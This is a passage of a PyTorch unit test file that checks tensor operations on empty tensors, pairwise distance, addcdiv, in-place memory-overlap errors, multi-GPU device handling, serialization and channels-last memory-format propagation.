torch.diagflat(torch.tensor([[]], device=device)).shape) self.assertEqual(torch.zeros(1, 1), torch.diagflat(torch.tensor([[]], device=device), offset=1)) # stack, split, chunk self.assertEqual((4, 0, 1, 3, 0), torch.stack((x, x, x, x)).shape) self.assertEqual([(0, 1, 3, 0)], [z.shape for z in torch.chunk(x, 1, dim=0)]) self.assertEqual([(0, 1, 3, 0), ] * 3, [z.shape for z in torch.chunk(x, 3, dim=0)]) self.assertEqual([(0, 1, 1, 0), ] * 3, [z.shape for z in torch.chunk(x, 3, dim=2)]) # NOTE: split_with_sizes behaves differently than NumPy in that it # takes sizes rather than offsets self.assertEqual([(0, 1, 0, 0), (0, 1, 1, 0), (0, 1, 2, 0)], [z.shape for z in torch.split(x, (0, 1, 2), dim=2)]) self.assertRaises(RuntimeError, lambda: torch.split(x, 0, dim=1)) # This is strange because the split size is larger than the dim size, but consistent with # how split handles that case generally (when no 0s are involved). self.assertEqual([(0, 1, 3, 0)], [z.shape for z in torch.split(x, 1, dim=0)]) self.assertEqual([(0, 1, 3, 0)], [z.shape for z in torch.split(x, 0, dim=0)]) # functions that operate over a dimension but don't reduce. def test_dim_function_empty(self, device): shape = (0, 1, 2, 0) x = torch.randn(shape, device=device) # size stride self.assertEqual(0, x.size(3)) self.assertEqual(2, x.size(2)) self.assertEqual(2, x.stride(0)) self.assertEqual(1, x.stride(2)) self.assertEqual(x, torch.nn.functional.glu(x, 0)) self.assertEqual((0, 1, 1, 0), torch.nn.functional.glu(x, 2).shape) # softmax, logsoftmax self.assertEqual(x, torch.nn.functional.softmax(x, 0)) self.assertEqual(x, torch.nn.functional.softmax(x, 2)) self.assertEqual(x, torch.nn.functional.softmax(x, 3)) self.assertEqual(x, torch.nn.functional.log_softmax(x, 0)) self.assertEqual(x, torch.nn.functional.log_softmax(x, 2)) self.assertEqual(x, torch.nn.functional.log_softmax(x, 3)) # cumsum, cumprod, cummax, cummin self.assertEqual(shape, torch.cumsum(x, 0).shape) self.assertEqual(shape, torch.cumsum(x, 2).shape) self.assertEqual(shape, torch.cumprod(x, 0).shape) self.assertEqual(shape, torch.cumprod(x, 2).shape) self.assertEqual(shape, torch.cummax(x, 0)[0].shape) self.assertEqual(shape, torch.cummax(x, 2)[0].shape) self.assertEqual(shape, torch.cummin(x, 0)[0].shape) self.assertEqual(shape, torch.cummin(x, 2)[0].shape) self.assertEqual(shape, torch.logcumsumexp(x, 0).shape) self.assertEqual(shape, torch.logcumsumexp(x, 2).shape) # flip self.assertEqual(x, x.flip(0)) self.assertEqual(x, x.flip(2)) # roll self.assertEqual(x, x.roll(0, 1).roll(0, -1)) self.assertEqual(x, x.roll(1, x.size(1))) self.assertEqual(x, x.roll(1)) self.assertEqual(x, x.roll((1, 1), (3, 1))) # unbind self.assertEqual((), x.unbind(0)) self.assertEqual((torch.empty((0, 1, 0), device=device), torch.empty((0, 1, 0), device=device)), x.unbind(2)) # cross y = torch.randn((0, 1, 3, 0), device=device) self.assertEqual(y.shape, torch.cross(y, y).shape) # renorm self.assertEqual(shape, torch.renorm(x, 1, 0, 5).shape) self.assertEqual(shape, torch.renorm(x, 1, 2, 5).shape) # sort self.assertEqual([shape, shape], [z.shape for z in torch.sort(x, dim=0)]) self.assertEqual([shape, shape], [z.shape for z in torch.sort(x, dim=2)]) # topk self.assertEqual([shape, shape], [z.shape for z in torch.topk(x, 0, dim=0)]) self.assertEqual([(0, 1, 1, 0), (0, 1, 1, 0)], [z.shape for z in torch.topk(x, 1, dim=2)]) y = torch.randn((2, 3, 4), device=device) self.assertEqual([(2, 3, 0), (2, 3, 0)], [z.shape for z in torch.topk(y, 0)]) # gather self.assertEqual(shape, torch.gather(x, 0, torch.empty(shape, dtype=torch.int64, device=device)).shape) self.assertEqual(shape, torch.gather(x, 2, torch.empty(shape, dtype=torch.int64, device=device)).shape) larger_shape = torch.empty((0, 1, 3, 0), dtype=torch.int64, device=device) self.assertEqual(larger_shape.shape, torch.gather(x, 2, larger_shape).shape) smaller_shape = torch.empty((0, 1, 0, 0), dtype=torch.int64, device=device) self.assertEqual(smaller_shape.shape, torch.gather(x, 2, smaller_shape).shape) y = torch.randn((2, 3, 4), device=device) self.assertEqual((0, 3, 4), torch.gather(y, 0, torch.empty((0, 3, 4), dtype=torch.int64, device=device)).shape) # scatter, scatter_add for dim in [0, 2]: y = torch.randn(shape, device=device) y_src = torch.randn(shape, device=device) ind = torch.empty(shape, dtype=torch.int64, device=device) self.assertEqual(shape, y.scatter_(dim, ind, y_src).shape) self.assertEqual(shape, y.scatter_add_(dim, ind, y_src).shape) z = torch.randn((2, 3, 4), device=device) z_src = torch.randn((2, 3, 4), device=device) self.assertEqual(z, z.scatter_(2, torch.empty((2, 3, 0), dtype=torch.int64, device=device), z_src)) self.assertEqual(z, z.scatter_add_(2, torch.empty((2, 3, 0), dtype=torch.int64, device=device), z_src)) # index_fill, index_copy, index_add c = x.clone() c_clone = c.clone() ind_empty = torch.tensor([], dtype=torch.int64, device=device) ind_01 = torch.tensor([0, 1], dtype=torch.int64, device=device) self.assertEqual(c_clone, c.index_fill_(0, ind_empty, -1)) self.assertEqual(c_clone, c.index_fill_(2, ind_empty, -1)) self.assertEqual(c_clone, c.index_fill_(2, torch.tensor([0, 1], dtype=torch.int64, device=device), -1)) self.assertEqual(c_clone, c.index_copy_(0, ind_empty, torch.empty((0, 1, 2, 0), device=device))) self.assertEqual(c_clone, c.index_copy_(2, ind_empty, torch.empty((0, 1, 0, 0), device=device))) self.assertEqual(c_clone, c.index_copy_(2, ind_01, torch.empty((0, 1, 2, 0), device=device))) self.assertEqual(c_clone, c.index_add_(0, ind_empty, torch.empty((0, 1, 2, 0), device=device))) self.assertEqual(c_clone, c.index_add_(2, ind_empty, torch.empty((0, 1, 0, 0), device=device))) self.assertEqual(c_clone, c.index_add_(2, ind_01, torch.empty((0, 1, 2, 0), device=device))) c = torch.randn((0, 1, 2), device=device) c_clone = c.clone() self.assertEqual(c_clone, c.index_fill_(0, ind_empty, -1)) self.assertEqual(c_clone, c.index_copy_(0, ind_empty, torch.empty((0, 1, 2), device=device))) self.assertEqual(c_clone, c.index_add_(0, ind_empty, torch.empty((0, 1, 2), device=device))) self.assertEqual(c_clone, c.index_fill_(0, ind_empty, -1)) self.assertEqual(c_clone, c.index_copy_(0, ind_empty, torch.empty((0, 1, 2), device=device))) self.assertEqual(c_clone, c.index_add_(0, ind_empty, torch.empty((0, 1, 2), device=device))) # index fill/copy/add non-empty z = torch.randn((2, 3, 4), device=device) self.assertEqual(z, z.index_fill_(0, ind_empty, -1)) z = torch.randn((2, 3, 4), device=device) self.assertEqual(z, z.index_copy_(0, ind_empty, torch.empty((0, 3, 4), device=device))) z = torch.randn((2, 3, 4), device=device) self.assertEqual(z, z.index_add_(0, ind_empty, torch.empty((0, 3, 4), device=device))) # index_select self.assertEqual(x, x.index_select(0, ind_empty)) self.assertEqual((0, 1, 0, 0), x.index_select(2, ind_empty).shape) self.assertEqual(x, x.index_select(2, ind_01)) z = torch.randn((2, 3, 4), device=device) # non-empty self.assertEqual((0, 3, 4), z.index_select(0, ind_empty).shape) c = torch.randn((0, 1, 2), device=device) self.assertEqual(c, c.index_select(0, ind_empty)) c = torch.randn((0, 1, 2), device=device) self.assertEqual(c, c.index_select(0, ind_empty)) def _brute_pdist(self, inp, p=2): """Computes the same as torch.pdist using primitives""" n = inp.shape[-2] k = n * (n - 1) // 2 if k == 0: # torch complains about empty indices return torch.empty(inp.shape[:-2] + (0,), dtype=inp.dtype, device=inp.device) square = torch.norm(inp[..., None, :] - inp[..., None, :, :], p=p, dim=-1) unroll = square.view(square.shape[:-2] + (n * n,)) inds = torch.ones(k, dtype=torch.int) inds[torch.arange(n - 1, 1, -1, dtype=torch.int).cumsum(0)] += torch.arange(2, n, dtype=torch.int) return unroll[..., inds.cumsum(0)] def _pdist_single(self, shape, device, p, dtype, trans, grad_check=False): x = torch.randn(shape, dtype=dtype, device=device) if trans: x.transpose_(-2, -1) if grad_check: x.requires_grad_() y = x.detach().clone().requires_grad_() else: y = x actual = torch.pdist(x, p=p) expected = self._brute_pdist(y, p=p) self.assertEqual(expected.shape, actual.shape) self.assertEqual(expected, actual) if grad_check and expected.size() != torch.Size([0]): g0 = torch.rand_like(actual) actual.backward(g0) expected.backward(g0) self.assertEqual(x.grad, y.grad) @slowTest def test_pdist_norm_forward(self, device): for shape in [(4, 5), (3, 2), (2, 1), (1500, 1)]: for p in [0, 1, 2, 3, 1.5, 2.5, float('inf')]: for trans in [False, True]: for dtype in [torch.float32, torch.float64]: self._pdist_single(shape, device, p, dtype, trans, grad_check=False) # do a simplified comparison with big inputs, see: # https://github.com/pytorch/pytorch/issues/15511 for dtype in [torch.float32, torch.float64]: self._pdist_single((1000, 2), device, 2, dtype, trans=False, grad_check=False) @slowTest def test_pdist_norm_backward(self, device): for shape in [(4, 5), (3, 2), (2, 1), (1500, 1)]: for p in [0, 1, 2, 3, 1.5, 2.5, float('inf')]: for trans in [False, True]: self._pdist_single(shape, device, p, torch.float64, trans, grad_check=True) @unittest.skipIf(IS_FBCODE and IS_REMOTE_GPU, "sandcastle OOM with current tpx gpu/re configuration") @skipIfRocm def test_pdist_norm_large(self, device): # use dim0>=46342 for forward, see: # https://github.com/pytorch/pytorch/issues/30583 # Compare output using GPU with the CPU implementation, as brute_pdist uses too much memory if 'cuda' in device: x = torch.randn(50000, 1, dtype=torch.float32) expected_cpu = torch.pdist(x, p=2) actual_gpu = torch.pdist(x.to(device), p=2) self.assertEqual(expected_cpu, actual_gpu.cpu()) @onlyOnCPUAndCUDA @dtypesIfCUDA(*set(get_all_math_dtypes('cuda'))) @dtypes(*set(get_all_math_dtypes('cpu'))) def test_addcdiv(self, device, dtype): # Returns floating or integral scalar corresponding to dtype def _number(floating, integer, dtype): if dtype in [torch.half, torch.float, torch.double, torch.bfloat16]: return floating elif dtype in [torch.cfloat, torch.cdouble]: return floating * (1 + 1j) else: return integer def non_zero_rand(size, dtype, device): if dtype.is_floating_point or dtype.is_complex: a = torch.rand(size=size, dtype=dtype, device=device) elif dtype == torch.uint8: a = torch.randint(1, 5, size=size, dtype=dtype, device=device) else: a = torch.randint(-5, 5, size=size, dtype=dtype, device=device) return a + (a == 0).to(dtype) def _test_addcdiv(): a = non_zero_rand((2, 2), dtype=dtype, device=device) b = non_zero_rand((2, 2), dtype=dtype, device=device) c = non_zero_rand((2, 2), dtype=dtype, device=device) alpha = _number(0.5, 3, dtype) expected = a + (alpha * b) / c actual = torch.addcdiv(a, b, c, value=alpha) self.assertEqual(expected, actual) with self.assertWarnsOnceRegex( UserWarning, "This overload of addcdiv is deprecated"): self.assertEqual(actual, torch.addcdiv(a, alpha, b, c)) if not (dtype.is_floating_point or dtype.is_complex): # Integer division with addcdiv is prohibited with self.assertRaises(RuntimeError): _test_addcdiv() else: _test_addcdiv() if self.device_type == 'cuda' and dtype == torch.half: a = torch.tensor([60000.0], device=device, dtype=dtype) b = torch.tensor([60000.0], device=device, dtype=dtype) c = torch.tensor([1.0], device=device, dtype=dtype) out = torch.addcmul(a, b, c, value=-2) self.assertTrue(not (out.isnan() or out.isinf())) def test_nullary_op_mem_overlap(self, device): ops = ( ("random_", ()), ("uniform_", ()), ("cauchy_", ()), ("log_normal_", ()), ("exponential_", ()), ("geometric_", (0.5,)), ("normal_", ()), ) x = torch.rand((1, 3)).expand((3, 3)) for op, args in ops: with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): getattr(x, op)(*args) @dtypes(torch.double) def test_ternary_op_mem_overlap(self, device, dtype): ops = [ ("addcmul", True, True, 'cpu'), ("addcmul", True, True, 'cuda'), ("addcdiv", True, True, 'cpu'), ("addcdiv", True, True, 'cuda'), ("lerp", True, True, 'cpu'), ("lerp", True, True, 'cuda') ] for (fn, has_input_output_mem_overlap_check, has_internal_mem_overlap_check, dev) in ops: if dev != device: continue out_op = getattr(torch, fn) inplace_op = getattr(torch.Tensor, fn + '_') self.check_internal_mem_overlap( inplace_op, 3, dtype, device, expected_failure=not has_internal_mem_overlap_check) self.ternary_check_input_output_mem_overlap(out_op, dev, expected_failure=not has_input_output_mem_overlap_check) @dtypes(torch.double) @onlyOnCPUAndCUDA def test_copy_mem_overlap(self, device, dtype): self.check_internal_mem_overlap( torch.Tensor.copy_, num_inputs=2, dtype=dtype, device=device) sz = 9 doubles = torch.randn(2 * sz, dtype=dtype, device=device) self.unary_check_input_output_mem_overlap( doubles, sz, lambda input, out: out.copy_(input)) @onlyOnCPUAndCUDA def test_index_add_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((6,)) y = torch.rand((6,), device=device) ind = torch.tensor([2, 1, 0], device=device) value = torch.rand((3,), device=device) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x.index_add_(0, ind, value) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): y.index_add_(0, ind, y[:3]) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.index_add_(0, ind, ind.clone()) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.index_add_(0, ind.clone(), ind) @onlyOnCPUAndCUDA def test_index_copy_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((6,)) y = torch.rand((6,), device=device) ind = torch.tensor([2, 1, 0], device=device) value = torch.rand((3,), device=device) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x.index_copy_(0, ind, value) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): y.index_copy_(0, ind, y[:3]) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.index_copy_(0, ind, ind.clone()) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.index_copy_(0, ind.clone(), ind) @onlyOnCPUAndCUDA def test_index_fill_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((6,)) y = torch.rand((6,), device=device) ind = torch.tensor([2, 1, 0], device=device) value = torch.rand((3,), device=device) with self.assertWarnsRegex(UserWarning, "index_fill_ on expanded tensors"): x.index_fill_(0, ind, 1.0) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.index_fill_(0, ind, 0) @onlyOnCPUAndCUDA def test_shift_mem_overlap(self, device): x = torch.rand(3, device=device) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x[:-1] <<= x[1:] with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x[:-1] >>= x[1:] @onlyOnCPUAndCUDA def test_bernoulli_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((6,)) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x.bernoulli_() with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x.bernoulli_(p=0.1) p = torch.rand(6, device=device) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x.bernoulli_(p=p) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.bernoulli(torch.rand_like(x), out=x) @onlyOnCPUAndCUDA def test_put_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((6,)) y = torch.rand((6,), device=device) ind = torch.tensor([2, 1, 0], device=device) value = torch.rand((3,), device=device) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x.put_(ind, value) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): y.put_(ind[0], y[0]) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.put_(ind, ind) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): y.put_(ind, y[:3]) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.put_(ind, ind.clone()) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.put_(ind.clone(), ind) @onlyOnCPUAndCUDA def test_index_put_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((6,)) y = torch.rand((6,), device=device) ind = torch.tensor([2, 1, 0], device=device) value = torch.rand((3,), device=device) with self.assertWarnsRegex(UserWarning, 'expanded tensors'): x.index_put_((ind,), value) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): y.index_put_((ind,), y[0]) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.index_put_((ind,), ind) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): y.index_put_((ind,), y[:3]) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.index_put_((ind,), ind.clone()) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.index_put_((ind.clone(),), ind) @onlyOnCPUAndCUDA def test_masked_fill_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((6,)) mask = torch.tensor([True, False, True, True, False, False], device=device) with self.assertWarnsRegex(UserWarning, 'expanded tensors'): x.masked_fill_(mask, 0.) fill_val = torch.tensor(0., device=device) with self.assertWarnsRegex(UserWarning, 'expanded tensors'): x.masked_fill_(mask, fill_val) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): mask[1:].masked_fill_(mask[:-1], False) @onlyOnCPUAndCUDA def test_masked_select_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((3,)) y = torch.rand((6,), device=device) mask = torch.tensor([True, False, True, True, False, False], device=device) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.masked_select(y, mask, out=x) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.masked_select(y, mask, out=y) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.masked_select(mask.clone(), mask, out=mask) @onlyOnCPUAndCUDA def test_masked_scatter_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((6,)) src = torch.rand((3,), device=device) mask = torch.tensor([True, False, True, True, False, False], device=device) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x.masked_scatter_(mask, src) @onlyOnCPUAndCUDA def test_index_select_mem_overlap(self, device): x = torch.rand((1, 6), device=device).expand((2, 6)) y = torch.rand((3, 6), device=device) ind = torch.tensor([0, 1], dtype=torch.int64, device=device) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.index_select(y, 1, ind, out=x) @onlyOnCPUAndCUDA def test_scatter_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((6,)) src = torch.rand((3,), device=device) ind = torch.tensor([2, 1, 0], device=device, dtype=torch.int64) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x.scatter_(0, ind, src) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): src.scatter_(0, ind, src) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.scatter_(0, ind, ind.clone()) @onlyOnCPUAndCUDA def test_gather_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((3,)) src = torch.rand((6,), device=device) ind = torch.tensor([2, 1, 0], device=device, dtype=torch.int64) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.gather(src, 0, ind, out=x) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.gather(src, 0, ind, out=src) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.gather(ind.clone(), 0, ind[1:], out=ind[:1]) @onlyOnCPUAndCUDA def test_take_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((3,)) src = torch.rand((6,), device=device) ind = torch.tensor([2, 1, 0], device=device, dtype=torch.int64) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.take(src, ind, out=x) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.take(src, ind, out=src) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.take(ind.clone(), ind[1:], out=ind[:-1]) @onlyCUDA def test_multinomial_device_constrain(self, device): x = torch.empty(0, device="cpu") y = torch.empty(0, device=device) self.assertRaisesRegex( RuntimeError, "Expected all tensors to be on the same device", lambda: torch.multinomial(x, 2, out=y)) @deviceCountAtLeast(2) @onlyCUDA def test_multinomial_gpu_device_constrain(self, devices): x = torch.empty(0, device=devices[0]) y = torch.empty(0, device=devices[1]) self.assertRaisesRegex( RuntimeError, "Expected all tensors to be on the same device", lambda: torch.multinomial(x, 2, out=y)) @deviceCountAtLeast(2) @onlyCUDA def test_device_guard(self, devices): # verify that all operators with `device_guard: False` behave properly with multiple devices. # TODO: if we had operator introspection we could figure out this set of operators automatically... x = torch.randn((1, 2, 3), device=devices[1]) y = torch.zeros((1, 3, 2), device=devices[1]) scalar = torch.tensor(5, device=devices[1]) # property ops torch.cudnn_is_acceptable(x) x.is_distributed() x.is_floating_point() x.is_complex() x.is_same_size(y) x.is_signed() x.size(0) x.stride(0) x.numel() x.is_set_to(y) x.data_ptr() scalar.is_nonzero() # sparse property ops y[0][1] = 5 y_sparse = y.to_sparse() y_sparse.sparse_dim() y_sparse._dimI() y_sparse.dense_dim() y_sparse._dimV() y_sparse._nnz() y_sparse.is_coalesced() y_sparse._indices() y_sparse._values() y_sparse.indices() y_sparse.values() # in-place ops def inplace(): return torch.randn((1, 2, 3), device=devices[1]) inplace().as_strided_(y.size(), y.stride()) inplace().resize_(y.size()) inplace().squeeze_() inplace().squeeze_(0) inplace().unsqueeze_(2) inplace().transpose_(1, 2) inplace().squeeze_().t_() inplace().set_(x.storage()) inplace().set_(x.storage(), x.storage_offset(), x.size(), x.stride()) inplace().set_(x) inplace().set_() y_sparse._coalesced_(True) # shape modification x.as_strided(y.size(), y.stride()) x.expand((5, 2, 3)) x.expand_as(x) x.sum_to_size((1,)) torch.broadcast_tensors(x , x) x.reshape((1, 3, 2)) x.reshape_as(y) x.squeeze() x.squeeze(0) x.squeeze().t() x.transpose(1, 2) x.unsqueeze(2) x.view((1, 3, 2)) x.view_as(y) # chunk, split, etc. x.chunk(2, dim=1) x.split(1, dim=2) x.split_with_sizes([1, 2], dim=2) x.unfold(dimension=2, size=1, step=1) x.narrow(1, 1, 1) x.select(1, 1) torch.isnan(x) torch.empty((1, 3, 2), out=y) torch.empty_like(x) torch.empty_like(x, dtype=torch.int64) # to x.to(x) x.to(y) x.to(x, copy=True) def test_is_signed(self, device): self.assertEqual(torch.IntTensor(5).to(device).is_signed(), True) self.assertEqual(torch.ByteTensor(5).to(device).is_signed(), False) self.assertEqual(torch.CharTensor(5).to(device).is_signed(), True) self.assertEqual(torch.FloatTensor(5).to(device).is_signed(), True) self.assertEqual(torch.HalfTensor(10).to(device).is_signed(), True) # Note - reports a leak of 512 bytes on CUDA device 1 @deviceCountAtLeast(2) @skipCUDAMemoryLeakCheckIf(True) @onlyCUDA def test_tensor_set_errors_multigpu(self, devices): f_cuda0 = torch.randn((2, 3), dtype=torch.float32, device=devices[0]) f_cuda1 = torch.randn((2, 3), dtype=torch.float32, device=devices[1]) self.assertRaises(RuntimeError, lambda: f_cuda0.set_(f_cuda1.storage())) self.assertRaises(RuntimeError, lambda: f_cuda0.set_(f_cuda1.storage(), 0, f_cuda1.size(), f_cuda1.stride())) self.assertRaises(RuntimeError, lambda: f_cuda0.set_(f_cuda1)) @onlyCUDA def test_half_tensor(self, device): x = torch.randn(5, 5).half() self.assertEqual(x.to(device), x) xc = x.to(device) with tempfile.NamedTemporaryFile() as f: torch.save(xc, f) f.seek(0) xc2 = torch.load(f) self.assertIsInstance(xc2, type(xc)) self.assertEqual(xc.float(), xc2.float()) @onlyCUDA @deviceCountAtLeast(1) # Note: Tests works with one but prefers more devices def test_serialization(self, devices): def _test_serialization(filecontext_lambda): t0 = torch.cuda.FloatTensor(5).fill_(1) with torch.cuda.device(devices[-1]): tn = torch.cuda.FloatTensor(3).fill_(2) torch.cuda.set_device(devices[0]) b = (t0, tn) with filecontext_lambda() as f: torch.save(b, f) f.seek(0) c = torch.load(f) self.assertEqual(b, c, atol=0, rtol=0) u0, un = c self.assertEqual(str(u0.device), devices[0]) self.assertEqual(str(un.device), devices[-1]) _test_serialization(tempfile.NamedTemporaryFile) _test_serialization(BytesIOContext) def test_memory_format_preserved_after_permute(self, device): x = torch.randn(4, 3, 8, 8, device=device) nhwc = x.contiguous(memory_format=torch.channels_last) y = nhwc.permute(0, 1, 3, 2).permute(0, 1, 3, 2) self.assertTrue(y.is_contiguous(memory_format=torch.channels_last)) x = torch.randn(4, 3, 8, 8, 8, device=device) ndhwc = x.contiguous(memory_format=torch.channels_last_3d) y = ndhwc.permute(0, 1, 4, 3, 2).permute(0, 1, 4, 3, 2) self.assertTrue(y.is_contiguous(memory_format=torch.channels_last_3d)) def test_memory_format_propagation_rules(self, device): contiguous = torch.rand(10, 3, 5, 5, device=device) cl = torch.rand(10, 3, 5, 5, device=device).contiguous(memory_format=torch.channels_last) ambiguous = torch.rand(10, 3, 1, 1, device=device).contiguous(memory_format=torch.channels_last) self.assertTrue(ambiguous.is_contiguous(memory_format=torch.channels_last)) self.assertTrue(ambiguous.is_contiguous(memory_format=torch.contiguous_format)) bias = torch.rand(1, 1, 1, 1, device=device).contiguous(memory_format=torch.channels_last) def _test_propagation_rules(self, contiguous, cl, ambiguous, bias): options = ((ambiguous, contiguous, torch.contiguous_format), (ambiguous, cl, torch.channels_last), (contiguous, ambiguous, torch.contiguous_format), (contiguous, cl, torch.contiguous_format), (cl, ambiguous, torch.channels_last), (cl, contiguous, torch.channels_last), (bias, cl, torch.channels_last), (cl, bias, torch.channels_last),) for a, b, mf in options: result = a + b self.assertTrue(result.is_contiguous(memory_format=mf)) _test_propagation_rules(self, contiguous, cl, ambiguous, bias) cl = cl.to(memory_format=torch.channels_last) ambiguous = ambiguous.to(memory_format=torch.channels_last) bias = bias.to(memory_format=torch.channels_last) _test_propagation_rules(self, contiguous, cl, ambiguous, bias) # test cases when strides matter in ambiguous tensors for mf in (torch.channels_last, torch.contiguous_format): ambiguous = torch.rand(10, 3, 1, 1, device=device).to(memory_format=mf) bias = torch.rand(3, 1, 1, device=device) result = ambiguous + bias self.assertEqual(ambiguous.stride(), result.stride()) result = bias + ambiguous self.assertEqual(ambiguous.stride(), result.stride()) result = ambiguous * 5 self.assertEqual(ambiguous.stride(), result.stride()) def test_memory_format_empty_like(self, device): def test_helper(x, memory_format): xc = x.contiguous(memory_format=memory_format) like = torch.empty_like(xc, memory_format=torch.preserve_format) self.assertFalse(like.is_contiguous()) self.assertTrue(like.is_contiguous(memory_format=memory_format)) like_x = torch.empty_like(x, memory_format=torch.preserve_format) self.assertTrue(like_x.is_contiguous()) self.assertFalse(like_x.is_contiguous(memory_format=memory_format)) like = torch.empty_like(x, memory_format=memory_format) self.assertFalse(like.is_contiguous()) self.assertTrue(like.is_contiguous(memory_format=memory_format)) like = torch.empty_like(xc, memory_format=torch.contiguous_format) self.assertTrue(like.is_contiguous()) self.assertFalse(like.is_contiguous(memory_format=memory_format)) like = torch.empty_like(xc) self.assertFalse(like.is_contiguous()) self.assertTrue(like.is_contiguous(memory_format=memory_format)) sparse = x.to_sparse() with self.assertRaises(RuntimeError): z = torch.empty_like(sparse, memory_format=torch.preserve_format) test_helper(torch.randn(4, 3, 8, 8, device=device), torch.channels_last) test_helper(torch.randn(4, 3, 8, 8, 8, device=device), torch.channels_last_3d) def test_memory_format_consistency(self, device): x = torch.randn(10, 3, 1, 1, device=device) x_rep = x.as_strided(x.size(), x.stride()) self.assertEqual(x.size(), x_rep.size()) self.assertEqual(x.stride(), x_rep.stride()) self.assertEqual(x.is_contiguous(), x_rep.is_contiguous()) self.assertEqual(x.is_contiguous(memory_format=torch.channels_last), x_rep.is_contiguous(memory_format=torch.channels_last)) self.assertEqual( x.is_contiguous(memory_format=torch.channels_last_3d), x_rep.is_contiguous(memory_format=torch.channels_last_3d)) def test_memory_format_operators(self, device): def _chunk_op(x, y): x1, x2 = x.chunk(2, dim=1) return x1 + x2 def _unsqueeze_op_add(x, y): return x[0].unsqueeze(0) + 3 def _unsqueeze_op_clone(x, y): return x[0].unsqueeze(0).clone() def _test_helper(x, y, bias, memory_format): return_contig_fns = [ lambda x, y: y + x, lambda x, y: y * x, lambda x, y: y.addcdiv(x, y, value=2), lambda x, y: y.addcmul(x, y, value=2), ] bias_fns = [ lambda x, b: x + b, lambda x, b: b + x, ] fns = [ lambda x, y: x.clone(), lambda x, y: x + 3, lambda x, y: 3 * x, lambda x, y: x + y, lambda x, y: x * y, lambda x, y: abs(x), lambda x, y: x.abs(), lambda x, y: x.abs_(), lambda x, y: x.acos(), lambda x, y: x.acos_(), lambda x, y: x.add(y, alpha=3), lambda x, y: x.add_(y, alpha=3), lambda x, y: x.addcdiv(y, y, value=2), lambda x, y: x.addcdiv_(y, y, value=2), lambda x, y: x.addcmul(y, y, value=2), lambda x, y: x.addcmul_(y, y, value=2), lambda x, y: x.acosh(), lambda x, y: x.acosh_(), lambda x, y: x.asinh(), lambda x, y: x.asinh_(), lambda x, y: x.atanh(), lambda x, y: x.atanh_(), lambda x, y: x.asin(), lambda x, y: x.asin_(), lambda x, y: x.atan(), lambda x, y: x.atan2(y), lambda x, y: x.atan2_(y), lambda x, y: x.ceil(), lambda x, y: x.ceil_(), lambda x, y: x.clamp(-1, 1), lambda x, y: x.cos(), lambda x, y: x.cosh(), lambda x, y: x.div(0.5), lambda x, y: x.div_(0.5), lambda x, y: x.div(y), lambda x, y: x.div_(y), lambda x, y: x.digamma(), lambda x, y: x.digamma_(), lambda x, y: x.erf(), lambda x, y: x.erfc(), lambda x, y: x.erfinv(), lambda x, y: x.erfinv_(), lambda x, y: x.exp(), lambda x, y: x.expm1(), lambda x, y: x.expm1_(), lambda x, y: x.floor(), lambda x, y: x.floor_(), lambda x, y: x.fmod(2), lambda x, y: x.frac(), lambda x, y: x.hypot(y), lambda x, y: x.hypot_(y), lambda x, y: x.i0(), lambda x, y: x.i0_(), lambda x, y: x.lerp(y, 0.5), lambda x, y: x.log(), lambda x, y: x.log_(), lambda x, y: x.log10(), lambda x, y: x.log10_(), lambda x, y: x.log1p(), lambda x, y: x.log1p_(), lambda x, y: x.log2(), lambda x, y: x.log2_(), lambda x, y: x.mul(3), lambda x, y: x.mul_(3), lambda x, y: x.neg(), 